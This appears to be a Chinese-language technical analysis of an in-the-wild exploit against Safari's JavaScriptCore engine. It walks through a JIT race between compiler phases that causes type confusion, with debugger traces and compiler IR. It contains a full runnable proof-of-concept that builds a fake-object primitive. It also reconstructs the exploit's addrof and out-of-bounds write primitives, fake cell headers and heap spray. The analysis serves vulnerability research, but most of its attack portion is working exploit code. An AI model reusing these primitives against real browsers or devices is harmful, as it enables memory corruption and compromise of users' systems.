现在我不是 100% 确定为什么需要这个确切的构造，但我可以告诉你 (0)[0] 充当”JIT 屏障”。通常 JIT 会在死代码消除阶段将此代码优化掉，但似乎有一个常量整数基址阻止了它进行此优化（我假设因为没有常规 JS 代码会有它），这意味着它必须发出一个可能有副作用的原始属性访问。这强烈促使 JIT 在 useS3 为真时不进行优化，在后续的分层升级中我们也看到它只为 S1 情况发出代码，并为 S3 情况回退到解释器，但在类型观察期间它仍然会看到两种情况，因此为 obj 创建结构集 {S1, S3}。

原始漏洞利用在属性访问上方还有 "uo" in obj;，但即使没有它漏洞仍然可以触发。我猜测它放在那里是为了强制 JIT 在那里发出结构运行时检查，但这纯粹是我的推测。

还有一个注意事项：在 CFA 之后，编译器还会有常量折叠阶段，它将再次以与 CFA 完全相同的参数调用 tryGetConstantProperty，因此它也会成功并返回一个浮点数组。然后 JIT 将继续把 p1 的值折叠到生成的代码中，而不是发出属性访问。这就是将攻击转化为竞态的原因，因为漏洞利用需要 tryGetConstantProperty 在 CFA 调用中成功但在常量折叠期间失败。幸运的是，这很容易通过在主线程上的两次调用之间更改 obj 的结构类型来实现，因为 tryGetConstantProperty 会在 obj 的结构不在预期集合中时退出，导致 JIT 发出属性访问而不是折叠值，但仍然基于 CFA 阶段的错误类型信息进行操作。

综合起来，函数调用如下：

const jitIterTotal = 0x1000000;
const jitIterTrain = 0x20000;
for (let jitIterCnt = 0; jitIterCnt < jitIterTotal; jitIterCnt++) {
    if (jitIterCnt > jitIterTrain) {
        toJIT(false,true); // 强制编译
    }else{
        toJIT(jitIterCnt % 2 && jitIterCnt < 256, jitIterCnt > 4096); // 训练
    }
    if (jitIterCnt == jitIterTrain) {delete structS1.p2;} // 触发结构转换到 S2
}
// 然后在 S1/S3 之外修改 p1 以避免观察点
delete structS1.p1;
structS1.p1 = fakeFloatArr;
structS1.p2 = 1;
// structS1 现在是 S3（绕过运行时检查）
toJIT(false, false); // 触发

其中第二个参数是快速路径，用于完全跳过函数中的执行，推测是为了不打扰类型信息。fakeFloatArr 在循环之前这样创建：

let victimObj = {prop1: 1, prop2: 2};
let fakeFloatArr = [1.1, victimObj];

当漏洞成功触发时，fakeFloatArr 将被解释为常规浮点数组，fakeFloatArr[1] 将不再指向 victimObj，而是指向 victimObj 的第一个属性，该属性完全由攻击者控制，可以用作伪造对象原语。

单独来看，由于两个编译器阶段之间的竞态窗口极难从 JS 侧命中，触发漏洞相当困难。因此，漏洞利用在重要代码周围填充了虚拟代码来减慢编译过程，这基本上在我的机器上给了约 80% 的命中率。虚拟代码只是一个不容易被优化掉的简单循环：while (slowdownLoopCnt < 1) {compilerSlowDownObj.guard_p1=1;slowdownLoopCnt++;}slowdownLoopCnt--;

漏洞利用做的另一件我没有解释的事情是在 JIT 代码生成后立即触发 Eden GC：

for (let t = 0; t < 0x100000; t++) new Array(13.37, 13.37, 13.37, 13.37);

我认为它可能有两个目的：

• 它会延迟 JIT 热循环和触发之间的执行，这增加了函数作为 JIT 代码可用的可能性（尽管机会已经非常高）
• 它会清理 Eden 堆，正如我们将在下一阶段看到的，代码然后会进行堆喷射，所以干净的堆状态会大大帮助

但即便没有它，漏洞仍可触发。

3.2.3.1. 确认理论和漏洞实验

为了确认漏洞，我使用 --dumpAirGraphAtEachPhase=true 转储了成功和失败运行的 Air 汇编，然后比较两者。

在这样做时，我看到在失败的情况下我们将 floatArrWProp1 的值常量折叠到函数中：

Air BB#8: ; frequency = 1.000000
Air   Predecessors: #6, #7
Air     Move $0x101031390, %x0 ; 折叠常量
Air     Move (%x0), %x0
Air     Move32 -8(%x0), %x1
Air     Patch &Branch32(3,SameAsRep)3, BelowOrEqual, %x1, $1, $0x101031388
Air     MoveDouble 8(%x0), %q0
[...]

因此我想到 tryGetConstantProperty 可能被多次调用，但在常量折叠阶段失败。

我决定通过在 tryGetConstantProperty 上设置断点来确认这一点，确实它被命中了多次。

为了完全确认不同代码生成的原因，我使用了这个断点：

(lldb) break set -n tryGetConstantProperty
(lldb) break command add
> bt
> break set -o -a $lr -C "reg read x0" -C "c"
> c
> DONE
(lldb) c

产生以下输出（按 “x0 =” 过滤）：

x0 = 0x0000000101031388       x0 = 0x0000000101031388
      x0 = 0x0000000101031388       x0 = 0x0000000101031388
      x0 = 0x0000000000000000       x0 = 0x0000000000000000
      x0 = 0x0000000000000000       x0 = 0x0000000000000000
      x0 = 0x0000000101031388       x0 = 0x0000000101031388 <--- [0]
      x0 = 0x0000000000000000       x0 = 0x0000000101031388 <--- [1] 差异
      x0 = 0x0000000000000000       x0 = 0x0000000000000000
      x0 = 0x0000000000000000       x0 = 0x0000000000000000
      x0 = 0x0000000000000000       x0 = 0x0000000000000000
      x0 = 0x0000000000000000       x0 = 0x0000000000000000
      x0 = 0x0000000000000000
      x0 = 0x0000000000000000
      x0 = 0x0000000000000000
      x0 = 0x0000000000000000
      x0 = 0x0000000000000000
      x0 = 0x0000000000000000
      x0 = 0x0000000000000000
      x0 = 0x0000000000000000
      x0 = 0x0000000000000000
      x0 = 0x0000000000000000

确实，查看回溯跟踪，[0] 在 CFA 中，[1] 在常量折叠阶段。

成功类型混淆的版本生成以下 Air 汇编：

Air BB#8: ; frequency = 1.000000
Air   Predecessors: #6, #7
Air     Move 8(%tmp20), %tmp37                  ; 加载 structS1 butterfly
Air     Move -16(%tmp37), %tmp25                ; 从 butterfly 加载 p1
                                                 ; v-- 错误的 cell 标签时退出
Air     Patch &BranchTest64(3,SameAsRep)1, NonZero, %tmp25, 0xfffe000000000002, %tmp25, %tmp25
Air     Move 8(%tmp25), %tmp24                  ; 获取 p1 butterfly
Air     Move32 -8(%tmp24), %tmp34               ; 从 butterfly 加载 publicLength
Air     Move $1, %tmp35                         ; [1] 索引
                                                 ; v-- 边界检查
Air     Patch &Branch32(3,SameAsRep)3, BelowOrEqual, %tmp34, $1, %tmp25
Air     MoveDouble 8(%tmp24), %ftmp1            ; 从 butterfly[1] 原始 double 加载
Air BB#8: ; frequency = 1.000000
Air   Predecessors: #6, #7
Air     Move 8(%x2), %x0                        ; 加载 obj butterfly
Air     Move -16(%x0), %x1                      ; 从 butterfly 加载 p1
Air     Patch &Patchpoint0, $0x1034f4150        ; ???
Air     Move $0xfffe000000000002, %x0           ; 获取预期的 cell 标签
Air     Patch &BranchTest64(3,SameAsRep)1, NonZero, %x1, %x0, %x1, %x1 ; 错误的 cell 标签时退出
Air     Move 8(%x1), %x0                        ; 获取 typeConfused butterfly
Air     Move32 -8(%x0), %x2                     ; 从 butterfly 加载 publicLength
Air     Patch &Branch32(3,SameAsRep)3, BelowOrEqual, %x2, $1, %x1 ; 边界检查
Air     MoveDouble 8(%x0), %q0                  ; typeConfused[1] 作为 double 加载
Air     Patch &BranchDouble(3,SameAsRep)4, DoubleNotEqualOrUnordered, %q0, %q0, %x1 ; ???
Air     Move $0x780e0000b0, %x2                 ; f64Arr 后端
Air     MoveDouble %q0, (%x2)                   ; 将 typeConfused[1] 存储到 f64Arr[0]
Air     Patch &Patchpoint0, $0x10206e488        ; ???
Air     Patch &Patchpoint0, $0x10206e3c8        ; ???
Air     Move32 (%x2), %x4                       ; 作为 int 加载 i32Arr[0]
Air     Move $65536, %x3                        ; 指针移位的增量
Air     AddLeftShift64 %x3, %x4, $12, %x3
Air     Rshift64 %x3, $12, %x3
Air     Move32 %x3, (%x2)                       ; 将增加的指针存回 i32Arr[0]
Air     Patch &Patchpoint0, $0x10206e3c8        ; ???
Air     MoveDouble (%x2), %q0                   ; 作为 double 加载增加的指针
Air     Patch &Patchpoint0, $0x10206e488        ; ???
Air     Patch &BranchDouble(3,SameAsRep)4, DoubleNotEqualOrUnordered, %q0, %q0, %q0, %x1, %q0 ; ???
Air     MoveDouble %q0, 8(%x0)                  ; 将增加的指针存回 typeConfused[1]
Air     Move $10, %x0
Air     Ret64 %x0

另一项对我有帮助的工作是查看所有变量的结构 ID。为此我们可以下载一个有漏洞的 JSC 版本，然后使用 describe 打印结构 ID：

创建后
Object: 0x1064f4150 with butterfly 0x0(base=0xfffffffffffffff8) (Structure 0x30000a780:[0xa780/42880, Object, (0/0, 0/0){}, NonArray, Proto:0x106444180, Leaf]), StructureID: 42880
Object: 0x1064f4160 with butterfly 0x0(base=0xfffffffffffffff8) (Structure 0x30000a780:[0xa780/42880, Object, (0/0, 0/0){}, NonArray, Proto:0x106444180, Leaf]), StructureID: 42880
p1/p2 赋值后
Object: 0x1064f4150 with butterfly 0x70630026c8(base=0x70630026a0) (Structure 0x30000a860:[0xa860/43104, Object, (0/0, 2/4){p1:64, p2:65}, NonArray, Proto:0x106444180, Leaf]), StructureID: 43104
Object: 0x1064f4160 with butterfly 0x70630026e8(base=0x70630026c0) (Structure 0x30000a860:[0xa860/43104, Object, (0/0, 2/4){p1:64, p2:65}, NonArray, Proto:0x106444180, Leaf]), StructureID: 43104
structS3.p2 删除后
Object: 0x1064f4150 with butterfly 0x70630026c8(base=0x70630026a0) (Structure 0x30000a860:[0xa860/43104, Object, (0/0, 2/4){p2:65, p1:64}, NonArray, Proto:0x106444180]), StructureID: 43104
Object: 0x1064f4160 with butterfly 0x70630026e8(base=0x70630026c0) (Structure 0x30000a8d0:[0xa8d0/43216, Object, (0/0, 2/4){p1:64}, NonArray, Proto:0x106444180, Leaf]), StructureID: 43216
structS3.p1 删除后
Object: 0x1064f4150 with butterfly 0x70630026c8(base=0x70630026a0) (Structure 0x30000a860:[0xa860/43104, Object, (0/0, 2/4){p2:65, p1:64}, NonArray, Proto:0x106444180]), StructureID: 43104
Object: 0x1064f4160 with butterfly 0x70630026e8(base=0x70630026c0) (Structure 0x30000a940:[0xa940/43328, Object, (0/0, 2/4){}, NonArray, Proto:0x106444180, Leaf]), StructureID: 43328
structS3.p1 赋值后
Object: 0x1064f4150 with butterfly 0x70630026c8(base=0x70630026a0) (Structure 0x30000a860:[0xa860/43104, Object, (0/0, 2/4){p2:65, p1:64}, NonArray, Proto:0x106444180]), StructureID: 43104
Object: 0x1064f4160 with butterfly 0x70630026e8(base=0x70630026c0) (Structure 0x30000a9b0:[0xa9b0/43440, Object, (0/0, 2/4){p1:64}, NonArray, Proto:0x106444180, Leaf]), StructureID: 43440
structS3.p2 赋值后
Object: 0x1064f4150 with butterfly 0x70630026c8(base=0x70630026a0) (Structure 0x30000a860:[0xa860/43104, Object, (0/0, 2/4){p2:65, p1:64}, NonArray, Proto:0x106444180]), StructureID: 43104
Object: 0x1064f4160 with butterfly 0x70630026e8(base=0x70630026c0) (Structure 0x30000aa20:[0xaa20/43552, Object, (0/0, 2/4){p1:64, p2:65}, NonArray, Proto:0x106444180, Leaf]), StructureID: 43552
structS1.p2 删除后
Object: 0x1064f4150 with butterfly 0x70630026c8(base=0x70630026a0) (Structure 0x30000a8d0:[0xa8d0/43216, Object, (0/0, 2/4){p1:64}, NonArray, Proto:0x106444180]), StructureID: 43216
Object: 0x1064f4160 with butterfly 0x70630026e8(base=0x70630026c0) (Structure 0x30000aa20:[0xaa20/43552, Object, (0/0, 2/4){p1:64, p2:65}, NonArray, Proto:0x106444180, Leaf (Watched)]), StructureID: 43552
structS1.p1 删除后
Object: 0x1064f4150 with butterfly 0x70630026c8(base=0x70630026a0) (Structure 0x30000a940:[0xa940/43328, Object, (0/0, 2/4){}, NonArray, Proto:0x106444180]), StructureID: 43328
Object: 0x1064f4160 with butterfly 0x70630026e8(base=0x70630026c0) (Structure 0x30000aa20:[0xaa20/43552, Object, (0/0, 2/4){p2:65, p1:64}, NonArray, Proto:0x106444180, Leaf (Watched)]), StructureID: 43552
structS1.p1 赋值后
Object: 0x1064f4150 with butterfly 0x70630026c8(base=0x70630026a0) (Structure 0x30000a9b0:[0xa9b0/43440, Object, (0/0, 2/4){p1:64}, NonArray, Proto:0x106444180]), StructureID: 43440

如果你想的话可以自己尝试 PoC（点击展开）

let victimObj = {prop1: 1, prop2: 2}; // 漏洞利用最终将在此对象上获得一个损坏的指针，使其不再指向对象头部而是指向 prop1&prop2，从而允许我们伪造一个对象
let fakeFloatArr = [1.1, victimObj];

let floatArrWProp1 = [1.1, 1.1];
floatArrWProp1.prop = 1.1;
let floatArrWProp2 = [1.1, 2.2];
floatArrWProp2.prop = 1.1;

function newTarget() {}
let structS1 = Reflect.construct(Object, [], newTarget);
let structS3 = Reflect.construct(Object, [], newTarget);
//print("创建后"); print(describe(structS1)); print(describe(structS3));
// 42880/42880
structS1.p1 = floatArrWProp1;
structS1.p2 = floatArrWProp1;
structS3.p1 = 0x1337;
structS3.p2 = 0x1337;
//print("p1/p2 赋值后"); print(describe(structS1)); print(describe(structS3));
// 43104/43104
delete structS3.p2;
// print("structS3.p2 删除后"); print(describe(structS1)); print(describe(structS3));
// 43104/43216
delete structS3.p1;
// print("structS3.p1 删除后"); print(describe(structS1)); print(describe(structS3));
// 43104/43328
structS3.p1 = 0x1337;
// print("structS3.p1 赋值后"); print(describe(structS1)); print(describe(structS3));
// 43104/43440
structS3.p2 = 0x1337;
// print("structS3.p2 赋值后"); print(describe(structS1)); print(describe(structS3));
// 43104/43552

let compilerSlowDownObj = {}; // {guard_p1: 1}; // {guard_p1: 1,p1: [1.1, 2.2]};

// 用于混淆的数组
let i32Arr = new Uint32Array(2);
let f64Arr = new Float64Array(i32Arr.buffer);

function toJIT(useS3, skipEverything) {
    // 这是为了让 JIT 永远不会看到 obj 变成结构类型 2（这在删除后可能发生）
    if (skipEverything) {return;}

    let obj = structS1;
    if (useS3) {
        obj = structS3;
        // JIT 屏障 - 这可能有副作用，所以 JIT 必须忘记 obj 的类型
        (0)[0]
    }

    // 减慢编译器
    let slowdownLoopCnt = 0;
    while (slowdownLoopCnt < 1) {compilerSlowDownObj.guard_p1=1;slowdownLoopCnt++;}slowdownLoopCnt--; while (slowdownLoopCnt < 1) {compilerSlowDownObj.guard_p1=1;slowdownLoopCnt++;}slowdownLoopCnt--;
    while (slowdownLoopCnt < 1) {compilerSlowDownObj.guard_p1=1;slowdownLoopCnt++;}slowdownLoopCnt--; while (slowdownLoopCnt < 1) {compilerSlowDownObj.guard_p1=1;slowdownLoopCnt++;}slowdownLoopCnt--;
    while (slowdownLoopCnt < 1) {compilerSlowDownObj.guard_p1=1;slowdownLoopCnt++;}slowdownLoopCnt--; while (slowdownLoopCnt < 1) {compilerSlowDownObj.guard_p1=1;slowdownLoopCnt++;}slowdownLoopCnt--;
    while (slowdownLoopCnt < 1) {compilerSlowDownObj.guard_p1=1;slowdownLoopCnt++;}slowdownLoopCnt--; while (slowdownLoopCnt < 1) {compilerSlowDownObj.guard_p1=1;slowdownLoopCnt++;}slowdownLoopCnt--;
    while (slowdownLoopCnt < 1) {compilerSlowDownObj.guard_p1=1;slowdownLoopCnt++;}slowdownLoopCnt--; while (slowdownLoopCnt < 1) {compilerSlowDownObj.guard_p1=1;slowdownLoopCnt++;}slowdownLoopCnt--;
    while (slowdownLoopCnt < 1) {compilerSlowDownObj.guard_p1=1;slowdownLoopCnt++;}slowdownLoopCnt--; while (slowdownLoopCnt < 1) {compilerSlowDownObj.guard_p1=1;slowdownLoopCnt++;}slowdownLoopCnt--;
    while (slowdownLoopCnt < 1) {compilerSlowDownObj.guard_p1=1;slowdownLoopCnt++;}slowdownLoopCnt--; while (slowdownLoopCnt < 1) {compilerSlowDownObj.guard_p1=1;slowdownLoopCnt++;}slowdownLoopCnt--;
    while (slowdownLoopCnt < 1) {compilerSlowDownObj.guard_p1=1;slowdownLoopCnt++;}slowdownLoopCnt--; while (slowdownLoopCnt < 1) {compilerSlowDownObj.guard_p1=1;slowdownLoopCnt++;}slowdownLoopCnt--;
    while (slowdownLoopCnt < 1) {compilerSlowDownObj.guard_p1=1;slowdownLoopCnt++;}slowdownLoopCnt--; while (slowdownLoopCnt < 1) {compilerSlowDownObj.guard_p1=1;slowdownLoopCnt++;}slowdownLoopCnt--;
    while (slowdownLoopCnt < 1) {compilerSlowDownObj.guard_p1=1;slowdownLoopCnt++;}slowdownLoopCnt--; while (slowdownLoopCnt < 1) {compilerSlowDownObj.guard_p1=1;slowdownLoopCnt++;}slowdownLoopCnt--;
    while (slowdownLoopCnt < 1) {compilerSlowDownObj.guard_p1=1;slowdownLoopCnt++;}slowdownLoopCnt--; while (slowdownLoopCnt < 1) {compilerSlowDownObj.guard_p1=1;slowdownLoopCnt++;}slowdownLoopCnt--;
    while (slowdownLoopCnt < 1) {compilerSlowDownObj.guard_p1=1;slowdownLoopCnt++;}slowdownLoopCnt--; while (slowdownLoopCnt < 1) {compilerSlowDownObj.guard_p1=1;slowdownLoopCnt++;}slowdownLoopCnt--;
    while (slowdownLoopCnt < 1) {compilerSlowDownObj.guard_p1=1;slowdownLoopCnt++;}slowdownLoopCnt--; while (slowdownLoopCnt < 1) {compilerSlowDownObj.guard_p1=1;slowdownLoopCnt++;}slowdownLoopCnt--;
    while (slowdownLoopCnt < 1) {compilerSlowDownObj.guard_p1=1;slowdownLoopCnt++;}slowdownLoopCnt--; while (slowdownLoopCnt < 1) {compilerSlowDownObj.guard_p1=1;slowdownLoopCnt++;}slowdownLoopCnt--;
    while (slowdownLoopCnt < 1) {compilerSlowDownObj.guard_p1=1;slowdownLoopCnt++;}slowdownLoopCnt--; while (slowdownLoopCnt < 1) {compilerSlowDownObj.guard_p1=1;slowdownLoopCnt++;}slowdownLoopCnt--;
    while (slowdownLoopCnt < 1) {compilerSlowDownObj.guard_p1=1;slowdownLoopCnt++;}slowdownLoopCnt--; while (slowdownLoopCnt < 1) {compilerSlowDownObj.guard_p1=1;slowdownLoopCnt++;}slowdownLoopCnt--;
    while (slowdownLoopCnt < 1) {compilerSlowDownObj.guard_p1=1;slowdownLoopCnt++;}slowdownLoopCnt--; while (slowdownLoopCnt < 1) {compilerSlowDownObj.guard_p1=1;slowdownLoopCnt++;}slowdownLoopCnt--;

    // 原始漏洞利用这样做 - 我假设是为了在这里强制类型检查而不是稍后做 - 但我可以移除它仍然崩溃
    /*"uo" in obj;*/
    let typeConfused = obj.p1; // JIT 编译器假设 typeConfused 是一个包含两个浮点数的数组
    if (useS3) typeConfused = floatArrWProp2;
    f64Arr[0] = typeConfused[1]; // 由于上面的假设，这是一个简单的存储
    i32Arr[0] = i32Arr[0] + 16;
    typeConfused[1] = f64Arr[0]; // 这也是一个简单的存储

    // 再次减慢编译器
    while (slowdownLoopCnt < 1) {compilerSlowDownObj.guard_p1=1;slowdownLoopCnt++;}slowdownLoopCnt--; while (slowdownLoopCnt < 1) {compilerSlowDownObj.guard_p1=1;slowdownLoopCnt++;}slowdownLoopCnt--;
    while (slowdownLoopCnt < 1) {compilerSlowDownObj.guard_p1=1;slowdownLoopCnt++;}slowdownLoopCnt--; while (slowdownLoopCnt < 1) {compilerSlowDownObj.guard_p1=1;slowdownLoopCnt++;}slowdownLoopCnt--;
    while (slowdownLoopCnt < 1) {compilerSlowDownObj.guard_p1=1;slowdownLoopCnt++;}slowdownLoopCnt--; while (slowdownLoopCnt < 1) {compilerSlowDownObj.guard_p1=1;slowdownLoopCnt++;}slowdownLoopCnt--;
    while (slowdownLoopCnt < 1) {compilerSlowDownObj.guard_p1=1;slowdownLoopCnt++;}slowdownLoopCnt--; while (slowdownLoopCnt < 1) {compilerSlowDownObj.guard_p1=1;slowdownLoopCnt++;}slowdownLoopCnt--;
    while (slowdownLoopCnt < 1) {compilerSlowDownObj.guard_p1=1;slowdownLoopCnt++;}slowdownLoopCnt--; while (slowdownLoopCnt < 1) {compilerSlowDownObj.guard_p1=1;slowdownLoopCnt++;}slowdownLoopCnt--;
    while (slowdownLoopCnt < 1) {compilerSlowDownObj.guard_p1=1;slowdownLoopCnt++;}slowdownLoopCnt--; while (slowdownLoopCnt < 1) {compilerSlowDownObj.guard_p1=1;slowdownLoopCnt++;}slowdownLoopCnt--;
    while (slowdownLoopCnt < 1) {compilerSlowDownObj.guard_p1=1;slowdownLoopCnt++;}slowdownLoopCnt--; while (slowdownLoopCnt < 1) {compilerSlowDownObj.guard_p1=1;slowdownLoopCnt++;}slowdownLoopCnt--;
    while (slowdownLoopCnt < 1) {compilerSlowDownObj.guard_p1=1;slowdownLoopCnt++;}slowdownLoopCnt--; while (slowdownLoopCnt < 1) {compilerSlowDownObj.guard_p1=1;slowdownLoopCnt++;}slowdownLoopCnt--;
    while (slowdownLoopCnt < 1) {compilerSlowDownObj.guard_p1=1;slowdownLoopCnt++;}slowdownLoopCnt--; while (slowdownLoopCnt < 1) {compilerSlowDownObj.guard_p1=1;slowdownLoopCnt++;}slowdownLoopCnt--;
    while (slowdownLoopCnt < 1) {compilerSlowDownObj.guard_p1=1;slowdownLoopCnt++;}slowdownLoopCnt--; while (slowdownLoopCnt < 1) {compilerSlowDownObj.guard_p1=1;slowdownLoopCnt++;}slowdownLoopCnt--;
    while (slowdownLoopCnt < 1) {compilerSlowDownObj.guard_p1=1;slowdownLoopCnt++;}slowdownLoopCnt--; while (slowdownLoopCnt < 1) {compilerSlowDownObj.guard_p1=1;slowdownLoopCnt++;}slowdownLoopCnt--;
    while (slowdownLoopCnt < 1) {compilerSlowDownObj.guard_p1=1;slowdownLoopCnt++;}slowdownLoopCnt--; while (slowdownLoopCnt < 1) {compilerSlowDownObj.guard_p1=1;slowdownLoopCnt++;}slowdownLoopCnt--;
    while (slowdownLoopCnt < 1) {compilerSlowDownObj.guard_p1=1;slowdownLoopCnt++;}slowdownLoopCnt--; while (slowdownLoopCnt < 1) {compilerSlowDownObj.guard_p1=1;slowdownLoopCnt++;}slowdownLoopCnt--;
    while (slowdownLoopCnt < 1) {compilerSlowDownObj.guard_p1=1;slowdownLoopCnt++;}slowdownLoopCnt--; while (slowdownLoopCnt < 1) {compilerSlowDownObj.guard_p1=1;slowdownLoopCnt++;}slowdownLoopCnt--;
    while (slowdownLoopCnt < 1) {compilerSlowDownObj.guard_p1=1;slowdownLoopCnt++;}slowdownLoopCnt--; while (slowdownLoopCnt < 1) {compilerSlowDownObj.guard_p1=1;slowdownLoopCnt++;}slowdownLoopCnt--;
    while (slowdownLoopCnt < 1) {compilerSlowDownObj.guard_p1=1;slowdownLoopCnt++;}slowdownLoopCnt--; while (slowdownLoopCnt < 1) {compilerSlowDownObj.guard_p1=1;slowdownLoopCnt++;}slowdownLoopCnt--;
    while (slowdownLoopCnt < 1) {compilerSlowDownObj.guard_p1=1;slowdownLoopCnt++;}slowdownLoopCnt--; while (slowdownLoopCnt < 1) {compilerSlowDownObj.guard_p1=1;slowdownLoopCnt++;}slowdownLoopCnt--;

}

// 现在他们需要 JIT 这个函数
const jitIterTotal = 0x1000000;
const jitIterTrain = 0x20000;
for (let jitIterCnt = 0; jitIterCnt < jitIterTotal; jitIterCnt++) {
    if (jitIterCnt > jitIterTrain) {
        // 强制编译
        toJIT(false,true);
    }else{
        // 训练
        toJIT(jitIterCnt % 2 && jitIterCnt < 256, jitIterCnt > 4096);
    }
    if (jitIterCnt == jitIterTrain) {
        delete structS1.p2;
        // print("structS1.p2 删除后"); print(describe(structS1)); print(describe(structS3));
        // 43216 / 43552
    }
}

// 现在函数有望被错误编译
for (let t = 0; t < 0x100000; t++) new Array(13.37, 13.37, 13.37, 13.37); // 强制 GC（假设因为调用 gc() 也可以）
delete structS1.p1; // 完全剥离签名？
//print("structS1.p1 删除后"); print(describe(structS1)); print(describe(structS3));
// 43328 / 43552
structS1.p1 = fakeFloatArr;
// print("structS1.p1 赋值后"); print(describe(structS1)); print(describe(structS3));
// 43440 / 43552
structS1.p2 = 1;
// print("structS1.p2 赋值后"); print(describe(structS1)); print(describe(structS3));
// 43552 / 43552
// 此时 structS1 又是 structS3 了，所以我们可以调用函数而不会进入慢路径
toJIT(false,false); // 如果一切顺利，这将损坏 fakeFloatArr[1] 使其指向 victimObj+0x10 而不是 victimObj

// 现在强制崩溃
let converter32 = new Uint32Array(2);
let converterFloat = new Float64Array(converter32.buffer);
let i32objtofloat = function (t) {converter32[0] = t[0]; converter32[1] = t[1] - 0x20000; return converterFloat[0]}
victimObj.prop1 = i32objtofloat([201527, 16783110]); // 有效的 JS 对象头部？
JSON.stringify(structS1) // 只是触发崩溃

并通过以下方式调用：

DYLD_FRAMEWORK_PATH=./272535@main/Release/ ./272535@main/Release/jsc poc.js

3.2.4. 在 cassowary 模块中的集成

cassowary 模块包含两个函数：一个导出函数用于执行单次漏洞利用尝试，另一个是包含实际漏洞利用及所有相关代码的主函数。这个较大的函数包含：

• 相关偏移量
• 一个根据 iOS 版本更改偏移量的函数
• 辅助函数
• 一个包含实际漏洞利用的大函数
• 一个在后台工作线程中运行漏洞利用的函数
• 一个读写类
• 一个处理 64 位数字的类
• 主代码：检测是否在工作线程中运行，如果不是则创建一个，然后在其内部运行漏洞利用

使用工作线程的目的可能是为漏洞利用提供一个干净的执行环境，以提高确定性，并允许通过重启工作线程轻松重试。在工作线程中获得读写原语后，它通过损坏主线程的栈将其传输到主线程（稍后详述），这非常巧妙，而且不会给设计增加太多复杂性，所以我认为他们使用工作线程的决定是合理的。

内部漏洞利用函数包含辅助函数和五个主要函数：

• 触发漏洞并获取未对齐指针（在上一节中描述）
• 利用它获得早期读写能力
• 将早期读写升级为稳定读写
• 测试读写原语
• 清理
• 将读写原语导出到主线程

3.2.5. 从未对齐指针获得早期读写能力

他们从类型混淆中获得的未对齐指针现在指向 victimObj 的 prop1 和 prop2，访问它意味着引擎将 prop1 解释为伪造的 JSCell 头部，将 prop2 解释为对象的 butterfly 指针。这基本上是一个经典的 fakeobj 原语。

由此，漏洞利用将通过创建一个伪造的浮点数组对象（通过 prop1 中的伪造 JSCell 头部）来创建 addrof 原语，该对象有一个 butterfly 指针指向另一个 JS 对象（通过将 prop2 设置为 targetObj）。然后对伪造浮点数组的任何元素访问都将跟随 butterfly 指针到 targetObj 并允许在其上进行读写。对于 addrof，攻击者只需将一个对象放入 targetObj 的内联属性之一，然后从伪造浮点数组中的该索引读取以获取对象的地址。

然而实际情况并非如此简单，因为引擎可能会执行检查并拒绝伪造的浮点数组。因此，漏洞利用实际上围绕其 JIT 编译的函数构建 addrof 原语，以规避这些检查。这也带来了次要收益：提供相对越界写入原语：

function jittedWriter(t, n) {
    let r = exploit_module.gRWArray1[0];
    f64_arrbuf7[0] = r[2];
    f64_arrbuf7[1] = r[4];
    f64_arrbuf7[2] = r[5];
    f64_arrbuf7[3] = r[0];
    f64_arrbuf7[4] = r[1];
    r = exploit_module.gRWArray1[2];
    r[t] = n
}

他们从 exploit_module.gRWArray1[0] 复制 5 个浮点数到另一个全局数组，然后向 exploit_module.gRWArray1[2] 的任意索引写入一个浮点数。

我假设使用这些索引的原因是为了防止 JIT 同时加载 gRWArray1[0] 和 gRWArray1[2]，或将 5 次加载优化为向量加载。

他们在索引 0 和 2 都是训练对象时 JIT 这个函数：

let training_obj_mbe = {p1: 1, p2: 1, length: 16};
Array.prototype.fill.call(training_obj_mbe, 1.1);
[...]
exploit_module.gRWArray1[0] = training_obj_mbe;
exploit_module.gRWArray1[2] = training_obj_mbe;
for (let t = 0; t < 0x100000; t++) jittedWriter(1, 1.1);

然后他们创建这个 addrof 函数：

m.addrof = function(n) { // po
    targetObj.b1 = n; // 在 butterfly 中设置对象
    exploit_module.gRWArray1[2] = training_obj_mbe; // 避免 obj 2 的副作用（该函数是双用途的）
    jittedWriter(1, 1.1); // 触发
    return f64_to_num(f64_arrbuf7[0]) // 现在他们可以从数组中读取浮点数然后将其转换回数字
};

这个函数操作一个特别损坏的 exploit_module.gRWArray1[0]，其设置如下：

exploit_module.gRWArray1[0] = exploit_module.type_confused_float_arr[1];
exploit_module.type_confused_float_arr[1] = null;

其中 type_confused_float_arr[1] 是上一阶段中偏移 +0x10 的指针，指向对象的属性，允许他们伪造任意的 JS Cell 头部。

我们有一个未对齐指针指向的对象的设置如下：

var fakeHdr = exploit_module.hdr2float([0x31337, 0x1001706]); // m_indexingTypeAndMisc: 6 (NonArrayWithDouble) m_type: 23 (ObjectType) m_flags: 0, m_cellState: 1 (DefinitelyWhite)
exploit_module.flaky_obj.lo = fakeHdr;
exploit_module.flaky_obj.co = targetObj;

所以总结一下：此时 exploit_module.gRWArray1[0] 指向 flaky_obj+0x10（得益于上一阶段/漏洞），那里有一个伪造的 JS Cell 头部，结构 ID 为 0x31337，类型标志为 0x1001706，编码为双精度数组，后面跟着一个指向 targetObj 的伪造 butterfly。然后他们有一个操作浮点数组的 JIT 函数，其类型检查会看到伪造头部的类型并通过，然后作为浮点数组访问 butterfly，允许他们将 targetObj 的 b1 属性作为浮点数读取。因此，通过在该属性中存储一个对象，然后调用 JIT 函数，他们可以获得任何 JS 对象的 addrof 原语。

旁注：hdr2float 特别从头部值的第二部分减去 0x20000，这是因为运行时会将第 49 位设置为”装箱”此值——基本上将其标记为浮点数，代码必须考虑到这一点。

目标对象被 256 个对象在下方和另外 256 个对象在上方包围。我认为对于这一步，上面的 Eden GC 可能很重要，因为他们需要保证 obj_before_target 或 obj_after_target 紧挨着目标对象，以便后续的读写。

我不完全理解为什么要在 targetObj 之后再喷射 256 个对象。我认为他们可以用更少的对象就能完成。

exploit_module.tmpOptArr = [];
for (let t = 0; t < 256; t++) exploit_module.tmpOptArr[t] = {a1: 3.14, a2: 1.1};
let targetObj = {b1: exploit_module.ref2};
targetObj[0] = 1.1;
targetObj[1] = 1.1;
targetObj[2] = 1.1;
targetObj[3] = 1.1;
targetObj[4] = 1.1;
for (let t = 256; t < 512; t++) exploit_module.tmpOptArr[t] = {a1: 3.14, a2: 1.1};

// 目标对象前后的两个对象似乎也很重要
let obj_after_target = exploit_module.tmpOptArr[256]; // l
obj_after_target[0] = 1.1;
obj_after_target[1] = 1.1;
obj_after_target[2] = 1.1;
obj_after_target[3] = 1.1;
obj_after_target[4] = 1.1;
